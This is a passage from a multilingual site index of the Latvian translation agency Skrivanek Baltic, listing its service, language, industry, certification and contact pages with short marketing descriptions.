salīdzināšana ar oriģinālu un redaktūra. Arī tekstiem, kas nav sagatavoti vai tulkoti pie mums. - [Нотариально заверенный перевод](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/): Предоставляем нотариально заверенные переводы оригиналов или копий документов в соответствии с нормативными актами Латвийской Республики. - [Переводы на 110 языков](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/): Письменные, устные переводы и другие языковые услуги во всех самых популярных комбинациях европейских языков. Свяжитесь с нами! - [Pieteikums jaunumu lapai](https://skrivanek.lv/skrivanek-baltic/pieteikums-jaunumu-lapai/): Piesakies jaunumu lapas saņemšanai savā e-pastā un iegūsti dāvanu – bezmaksas latviešu valodas padomu grāmatu! - [польский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): Переводы на польский язык более чем с 300 языков: письменные и устные переводы, локализация и прочие услуги. Свяжитесь с нами! - [чешский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/): Необходим письменный или устный перевод с/на чешский язык? Получите бесплатный расчет стоимости за 30 минут! - [греческий](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Skrivanek - бюро переводов с более чем 25-летним опытом работы. Качественные переводы и многие другие языковые решения с/на греческий язык. - [норвежский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): Переводы на норвежский язык более чем в 300 языковых комбинациях: письменные и устные переводы, локализация и прочее. Свяжитесь с нами! - [финский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/): Качественные переводы с/на финский язык более чем с 300 языков: письменные и устные переводы, локализация и другие услуги. Свяжитесь с нами! - [шведский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): Профессиональные переводы на шведский язык: письменные и устные переводы, локализация и другое. Получите бесплатный расчет стоимости! - [немецкий](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Skrivanek подготовит перевод текстов с/на немецкий язык на любую тему. Качественные языковые решения разных видов. Свяжитесь с нами! - [испанский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): Множество языковых решений с/на испанский язык. Письменные и устные переводы, локализация, нотариально заверенный перевод, языковые курсы. - [литовский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): Профессиональные переводы на литовский язык более чем с 300 языков: письменные и устные переводы, локализация и другое. Свяжитесь с нами! - [русский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/): Выполняем переводы на русский язык более чем с 300 языков: письменные и устные переводы, локализация и многое другое. Свяжитесь с нами! - [итальянский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): Качественные переводы на итальянский язык более чем с 300 языков: письменные и устные переводы, локализация и т. д. - [французский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): Предлагаем переводы на французский язык: письменные и устные переводы, локализация и другое. Получите бесплатный расчет стоимости! - [английский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): Письменные и устные переводы с/на английский язык и другие языковые решения. Получите бесплатный расчет стоимости! - [Who Are We?](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): Quality language services for businesses and individuals. One of the major language services providers in the world. Find out more! - [датский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Переводы, локализация, языковые курсы, адаптация текстов с/на датский язык. Выбирайте опыт и профессионализм – ваш Skrivanek. - [эстонский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): Мы предоставляем множество языковых решений с/на эстонский язык: письменные и устные переводы, локализация и прочие услуги. Свяжитесь с нами! - [Отрасли](https://skrivanek.lv/tulkosanas-nozares/): Качественные специализированные переводы. Письменные и устные переводы. Получите бесплатный расчет стоимости перевода в течение нескольких минут! - [Commercial Terms](https://skrivanek.lv/komercnoteikumi/): Skrivanek is a language service provider with 30+ years of experience: professional language services for businesses and individuals. - [Quality and Safety](https://skrivanek.lv/kvalitate-un-drosiba/): To increase the quality of services and improve the security measures, Skrivanek has implemented a number of management systems. - [EN ISO 9001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/): This certificate is proof that the quality of Skrivanek services meets client expectations and legal requirements. - [EN ISO 14001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/): This certificate proves our commitment to the environment, including the use of environmentally friendly technologies and materials, recycling, etc. - [EN 17100](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/): This proves that our recruitment of translation specialists, work process, use of technologies and other industry-specific aspects meet the requirements. - [ISO/IEC 27001](https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/): As one of Skrivanek's values is responsibility towards clients, which includes data safety, we have introduced an information security management system. - [EN ISO 9001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/): Šis sertifikatas - tai įrodymas, kad „Skrivanek“ teikiamų paslaugų kokybė atitinka klientų lūkesčius ir teisinius reikalavimus. - [ISO/IEC 27001](https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/): As one of Skrivanek's values is responsibility towards the client, which includes data safety, we have introduced an information security management system. - [Страхование](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Качественные переводы, отвечающие специфике страховой отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - [Строительство](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Переводы ереводы, отвечающие специфике строительной отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - [Финансы и банковская деятельность](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Качественные переводы текстов финансовой и банковской тематики: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - [Человеческие ресурсы (HR)](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Переводы, отвечающие специфике области HR-менеджмента: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - [Игры и ИТ](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Качественные переводы в отрасли ИТ и компьютерных игр: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - [Юриспруденция](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Качественные переводы юридических текстов: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - [Сельское хозяйство и лесоводство](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Качественные переводы в отрасли сельского хозяйства и лесоводства: письменные и устные переводы. Предлагаем локализацию и языковые курсы. Узнайте больше! - [Машиностроение и железнодорожная промышленность](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Переводы в области машиностроения и железнодорожной отрасли: письменные и устные переводы. Предлагаем локализацию и языковые курсы. - [Медицина и клинические исследования](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Переводы текстов медицинской тематики: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - [Производство](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Переводы, отвечающие специфике производственной сферы: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - [Реклама и маркетинг](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Качественные переводы в сфере рекламы и маркетинга: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - [Торговля](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Качественные переводы, отвечающие специфике торговой отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - [Туризм](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Качественные переводы, отвечающие специфике туристической отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - [Государственные и муниципальные учреждения](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Переводы для государственных и муниципальных учреждений: письменные, устные, нотариально заверенные. Локализация и языковые курсы. - [Greek Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Specialised and general translations in Greek language. Interpreting services and other Greek language solutions. Get a free quote! - [Norwegian Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): General and specialised translations in Norwegian language. Interpreting, localisation and other Norwegian language solutions. Contact us! - [Estonian Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): General and specialised translations in Estonian language. Interpreting and other Estonian language solutions. Get a free quote! - [Russian Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/): General and specialised, notary-certified translations, interpretation, localisation services. Russian language courses. - [Translation Tools](https://skrivanek.lv/pakalpojumi/tulkosanas-riki/): Translation tools (CAT) are special software for translators designed to increase quality and productivity. Learn of their advantages! - [Other Languages](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/): Translation, interpreting and other language services in the most popular combinations of European languages. Get a free quote! - [Language Training](https://skrivanek.lv/pakalpojumi/valodu-kursi/): Learn languages quickly and efficiently at the Skrivanek Training Centre. Highly qualified local and foreign teachers. Find out more! - [Языковые курсы](https://skrivanek.lv/pakalpojumi/valodu-kursi/): Изучайте иностранные языки быстро и эффективно в учебном центре Skrivanek. Высококвалифицированные местные и зарубежные преподаватели! - [Localisation](https://skrivanek.lv/pakalpojumi/lokalizacija/): We will not only provide translations, but also make sure that the localised products and software function well. 👍️ - [Услуги](https://skrivanek.lv/pakalpojumi/): Языковые услуги для Вашего успеха в бизнесе и повседневной жизни – письменные и устные переводы, языковые курсы, локализация и т. д. Более 25 лет опыта. - [Устные переводы](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Услуги профессиональных переводчиков для конференций, деловых встреч, собраний, судебных слушаний и т. д. Свяжитесь с нами! - [Письменные переводы](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Письменные переводы текстов и документов на более чем 110 языков. Skrivanek гарантирует качество услуг и полную конфиденциальность. - [Часто задаваемые вопросы](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Ответы на вопросы о языковых услугах, предоставляемых предприятием Skrivanek Baltic. Не нашли ответ на свой вопрос? Свяжитесь с нами! - [Контакты](https://skrivanek.lv/kontakti/): Задайте вопрос или запросите расчет стоимости, заполнив контактную форму! Время работы: пн. – пт. 8:30–18:00 | ул. Лачплеша, 87с, Рига | birojs@skrivanek.lv - [Локализация](https://skrivanek.lv/pakalpojumi/lokalizacija/): Услуги локализации и перевода с 110+ языков! Профессиональное бюро переводов с 25-летним опытом. Получите бесплатный расчет стоимости! - [Skrivanek Baltic](https://skrivanek.lv/): Бюро переводов с 25-летним опытом работы – профессиональные и качественные переводы для юридических и физических лиц. Свяжитесь с нами! - [Interpreting](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Professional interpreting services at conferences, business meetings, negotiations, court hearings, etc. Local and foreign interpreters. - [Construction](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Quality solutions for the construction industry: translation, interpreting, notary certification. Localisation and language training. Find out more! - [Finances and Banking](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Quality solutions for the financial and banking industry: translation, interpreting, notary-certified translations and language training. - [HR](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Quality solutions for the human resources industry: translation, interpreting. Localisation and language training. Find out more! - [Law](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Quality language solutions for the legal industry: translation, interpreting, notary-certified translations and language training. - [Agriculture and Forestry](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Quality language solutions for agriculture and forestry: translation, interpreting, notary certification. Localisation and language training. Find out more! - [Engineering and Railways](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Quality solutions for engineering and railways: translation, interpreting, notary-certified translations, localisation and language training. - [Medicine and Clinical Trials](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Quality, medical industry-specific services: translation, interpreting, notary-certified translations, localisation and language training. - [Advertising and Marketing](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Quality solutions for advertising and marketing: translation, interpreting, notary certification. Localisation and language training. - [Manufacturing](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Quality solutions for the manufacturing industry: translation, interpreting, localisation and language training. Find out more! - [Tourism](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Quality language solutions for the tourism industry: translation, interpreting, localisation and language training. Find out more! - [Government and Municipal Institutions](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Language solutions for government and municipal institutions: translation, interpreting, notary-certified translations and language training. - [Trade](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Quality language solutions for the trade industry: translation, interpreting, localisation and language training. Find out more! - [Industries](https://skrivanek.lv/tulkosanas-nozares/): Our translators have a background in medicine, law, engineering and other fields, which helps to ensure the best results. ⭐️ - [Insurance](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Specialised translations, notary-certified translations, interpretation services an language training. Find out more! - [IT and Gaming](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Quality solutions for the IT and gaming industries: translation, interpreting, localisation and language training. Find out more! - [Translation](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): More than 30 years on the market! We translate documents of virtually any kind and format. Get a free quote within 15 minutes! - [Labākais jaunais tulkotājs 2021](https://skrivanek.lv/blogs/labakais-jaunais-tulkotajs-2021/): Konkurss norit sadarbībā ar 11 Latvijas augstskolām. Konkurss notiek divās atlases kārtās, kurās studenti aicināti tulkot tekstus no angļu, franču un vācu valodas latviešu valodā. - [Solutions](https://skrivanek.lv/pakalpojumi/): We are here to support you on the road to success: translation, interpreting, localisation, language training, etc. More than 25 years of experience. - [Contacts](https://skrivanek.lv/kontakti/): Ask a question or request a free quote by filling out the contact form! | Lāčplēša 87C, Riga | birojs@skrivanek.lv - [FAQ](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Frequently asked questions and answers about the Skrivanek Baltic language service provider. Didn’t find an answer to question? Contact us! - [Skrivanek Baltic](https://skrivanek.lv/): A language service provider with more than 30 years of experience: professional language services for businesses and individuals. Contact us! - [Mājaslapas tulkošana](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/): Mājaslapas tulkošana un lokalizācija – parūpēsimies, lai tā atbilstu konkrēta reģiona vai tirgus vajadzībām un lokālajām īpatnībām. - [Pakalpojumi](https://skrivanek.lv/pakalpojumi/): Valodu pakalpojumi jūsu panākumiem biznesā un ikdienā – rakstiskie un mutiskie tulkojumi, valodu kursi, lokalizācija u. c. Vairāk nekā 25 gadu pieredze. - [Audio un video failu lokalizācija](https://skrivanek.lv/pakalpojumi/lokalizacija/audio-un-video-failu-lokalizacija/): Profesionāla audio un video failu lokalizācija. Vairāk nekā 25 gadu pieredze. Saņemiet bezmaksas cenas aprēķinu! - [EN ISO 9001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/): Sertifikāts apliecina, ka valodu uzņēmuma Skrivanek pakalpojumu kvalitāte atbilst klientu vēlmēm un normatīvo aktu prasībām. - [EN ISO 14001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/): Sertifikāts apliecina mūsu uzņēmuma rūpes par vidi, tostarp videi saudzīgu tehnoloģiju un materiālu izmantošanu uzņēmējdarbībā, atkritumu šķirošanu utt. - [EN 17100](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/): Tas apliecina, ka mūsu uzņēmumā tulkošanas speciālistu atlase, darba process, tehnoloģiju izmantojums u.c. ar nozari saistītie aspekti atbilst prasībām. - [ISO/IEC 27001](https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/): Viena no Skrivanek vērtībām ir atbildība pret klientu, kas ietver arī uzticēto datu drošību, tādēļ esam ieviesuši informācijas drošības vadības sistēmu. - [Informācijas drošības politika](https://skrivanek.lv/kvalitate-un-drosiba/informacijas-drosibas-politika/): Par valodu uzņēmuma Skrivanek Baltic informācijas drošības politikas mērķiem un principiem lasiet šeit! - [Kvalitātes un vides vadības integrētā politika](https://skrivanek.lv/kvalitate-un-drosiba/kvalitates-un-vides-vadibas-integreta-politika/): Par valodu uzņēmuma Skrivanek Baltic kvalitātes un vides vadības mērķiem lasiet šeit! Sazinieties ar mums, ja rodas papildu jautājumi! - [EN ISO 9001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/): See sertifikaat on tõendiks, et Skrivaneki teenuste kvaliteet vastab kliendi ootustele ja seadusest tulenevatele nõuetele. - [Secīgā (konsekutīvā) tulkošana](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/): Secīgās tulkošanas pakalpojumi 40+ valodās dažādos darba un sadzīves notikumos. Vietējie un ārvalstu tulki. Sazinieties ar mums! 👆️ - [Sinhronā tulkošana](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/): Sinhronā tulkošana konferencēs, sanāksmēs u. c. pasākumos vairāk nekā 40 valodās. Sinhronās tulkošanas tehnikas noma. 25+ gadu pieredze. - [Konferenču tulkošana](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/): Profesionāls tulkojums ir konferences produktivitātes atslēga! Konferenču tulkošana un organizēšana. 25+ gadu pieredze. Sazinieties ar mums! - [Tiesas sēžu tulkošana](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/): Nodošinām tulkojumus tiesas sēdēs. Mūsu tulki ir pieredzējuši un labi orientējas juridiskajā terminoloģijā. Sazinieties ar mums! 👆️ - [Vispārīgi tulkojumi](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/visparigi-tulkojumi/): Sertificēts tulkošanas birojs. Dažādu dokumentu tulkojumi. 25+ gadu pieredze. Sazinieties, lai saņemtu bezmaksas cenas aprēķinu! 👆️ - [Notariāli vai biroja apliecināts tulkojums](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/): Notariāli vai biroja apliecināts tulkojums pie dokumenta oriģināla vai kopijām, ievērojot Latvijas Republikas normatīvos aktus. Sazinieties!️ - [Apdrošināšana](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Kvalitatīvi apdrošināšanas nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu mācības. Uzziniet vairāk! - [Būvniecība](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Kvalitatīvi būvniecības nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Finanses un banku darbība](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Kvalitatīvi finanšu sektora specifikai atbilstoši tulkojumi: rakstiski, mutiski, notarāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Cilvēkresursi (HR)](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Kvalitatīvi cilvēkresursu (HR) nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [IT un spēles](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Kvalitatīvi IT un spēļu nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Jurisprudence](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Kvalitatīvi jurisprudences nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzzini! - [Lauksaimniecība un mežkopība](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Kvalitatīvi lauksaimniecības un mežkopības nozares specifikai atbilstoši tulkojumi: rakstiski un mutiski. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Mašīnbūve un dzelzceļš](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Kvalitatīvi mašīnbūves un dzelzceļa nozares specifikai atbilstoši tulkojumi: rakstiski un mutiski. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Medicīna un klīniskie pētījumi](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Nodrošinām kvalitatīvus nozares specifikai atbilstošus tulkojumus: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Sazinieties! - [Ražošana](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Kvalitatīvi ražošanas nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Reklāma un mārketings](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Kvalitatīvi reklāmas un mārketinga nozares specifikai atbilstoši tulkojumi: rakstiski un mutiski. Lokalizācija un valodu kursi. Uzzini vairāk! - [Tirdzniecība](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Kvalitatīvi tirdzniecības nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Tūrisms](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Kvalitatīvi tūrisma nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Valsts un pašvaldību iestādes](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Kvalitatīvi valsts un pašvaldību iestāžu specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - [Kas mēs esam?](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): Kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. Esam ISO 9001, EN 17100, ISO 27001 sertificēts uzņēmums. Uzziniet vairāk! - [Kvalitāte un drošība](https://skrivanek.lv/kvalitate-un-drosiba/): Ieviestās vadības sistēmas – ISO 9001, ISO 14001, EN 17100, ISO/IEC 27001, ISO 13485 – apliecina, ka uzņemamies atbildību par paveikto! - [Sadarbības partneri](https://skrivanek.lv/sadarbibas-partneri/): Valodu uzņēmuma Skrivanek Baltic sadarbības partneri. Vairāk par sadarbības iespējām rakstiet uz marketings@skrivanek.lv! - [Korporatīvā sociālā atbildība](https://skrivanek.lv/korporativa-sociala-atbildiba/): Skrivanek Baltic ir sociāli atbildīgs valodu pakalpojumu sniedzējs Latvijā, kas īsteno sabiedrības atbalsta un labdarības projektus! - [Ētikas kodekss](https://skrivanek.lv/etikas-kodekss/): Valodu uzņēmuma Skrivanek Baltic darbinieku profesionālās ētikas un uzvedības pamatprincipi, kas saistoši arī Skrivanek sadarbības partneriem. - [Komercnoteikumi](https://skrivanek.lv/komercnoteikumi/): Skrivanek ir valodu uzņēmums ar vairāk nekā 25 gadu pieredzi – profesionāli un kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. - [Karjera](https://skrivanek.lv/karjera/): Esat tulks, tulkotājs vai korektors? Esat lektors un vēlaties sadarboties ar mums? Aizpildiet pieteikuma formu mājaslapā un pievienojieties mūsu komandai! - [Īpašie piedāvājumi](https://skrivanek.lv/ipasie-piedavajumi/): Izmantojiet īpašos piedāvājumus tulkošanas pakalpojumiem, valodu mācībām, bērnu nometnēm un ietaupiet! Uzziniet vairāk šeit! - [Карьера в языковой компании Skrivanek Baltic](https://skrivanek.lv/karjera/): Если вы предлагаете услуги письменного, устного перевода или редактуры и желаете присоединиться к нашей команде, свяжитесь с нами! - [Nozares](https://skrivanek.lv/tulkosanas-nozares/): Dažādu nozaru tekstu tulkojumi. Specializēti rakstiskie un mutiskie tulkojumi. Saņemiet bezmaksas cenas aprēķinu dažu minūšu laikā! - [Biežāk uzdotie jautājumi](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Biežāk uzdotie jautājumi un atbildes par uzņēmuma Skrivanek Baltic sniegtajiem pakalpojumiem. Neatradāt atbildi uz jautājumu? Sazinieties! - [Kontakti](https://skrivanek.lv/kontakti/): Uzdodiet jautājumu, nosūtiet cenas pieprasījumu, aizpildot kontaktu formu! Darba laiks: Pr–Pk no 8.30 līdz 18.00 | Lāčplēša 87C, Rīga | birojs@skrivanek.lv! - [Dokumentu tulkošana – profesionāli rakstiskie tulkojumi](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Profesionāla dokumentu tulkošana vairāk nekā 110 valodās. Sazinieties ar mums, lai uzzinātu vairāk! Kvalitatīvi un ātri tulkojumi.️ - [Mutiskie tulkojumi](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Profesionāla tulka pakalpojumi konferencēs, lietišķās tikšanās, sanāksmēs, tiesas sēdēs utt. Vietējie un ārvalstu tulki. Sazinieties ar mums! - [Lokalizācija](https://skrivanek.lv/pakalpojumi/lokalizacija/): Lokalizācija un tulkošanas pakalpojumi 110+ valodās! Profesionāls tulkošanas birojs ar 30 gadu pieredzi. Saņemiet bezmaksas cenas aprēķinu! - [Tekstu adaptācija un radošu tekstu sagatavošana](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Korektūra, radošu tekstu sagatavošana, tekstu adaptācija! Profesionāls valodu uzņēmums ar vairāk nekā 25 gadu pieredzi! Sazinieties ar mums! - [DTP – tekstu grafiskā apstrāde](https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/): Mūsu speciālisti veic tekstu grafisko un pirmsdrukas, kā arī fotogrāfiju, attēlu, tabulu utml. apstrādi. Saņemiet bezmaksas cenas aprēķinu! - [Valodu mācības](https://skrivanek.lv/pakalpojumi/valodu-kursi/): Valodu kursi tiešsaistē vai klātienē. Augsti kvalificēti vietējie un ārvalstu pasniedzēji! Kursi dažādiem priekšzināšanu līmeņiem. 👆️ - [Tulkošanas rīki](https://skrivanek.lv/pakalpojumi/tulkosanas-riki/): Tulkošanas rīki (CAT) ir īpašas tulkotājiem izstrādātas programmas kvalitātes un produktivitātes veicināšanai. Uzziniet kādas ir to priekšrocības! - [Tulkošanas cenas](https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/): Tulkošanas cena tiek aprēķināta, pamatojoties uz vārdu skaitu dokumentā. Bezmaksas cenas aprēķins 15 minūtēs! Sazinieties ar mums! 👆️ - [Tulkojumi angļu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): Dažādu dokumentu tulkojumi un mutiskie tulkojumi angļu valodā, kā arī angļu valodas kursi. Saņemiet cenas aprēķinu bez maksas 30 minūtēs! - [Tulkojumi čehu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/): Dažādu dokumentu tulkojumi, mutiskie tulkojumi un citi valodu risinājumi čehu valodā. 30+ gadu pieredze, sazinieties ar mums! - [Tulkojumi dāņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Dažādu dokumentu tulkojumi un mutiskie tulkojumi dāņu valodā. Sazinieties un saņemiet cenas aprēķinu bez maksas tikai 15 minūtēs! - [Tulkojumi franču valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): Dažādu dokumentu tulkojumi un mutiskie tulkojumi franču valodā, franču valodas kursi u.c. Saņemiet bezmaksas cenas aprēķinu 30 minūtēs! - [Tulkojumi grieķu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Dažādu dokumentu tulkojumi, 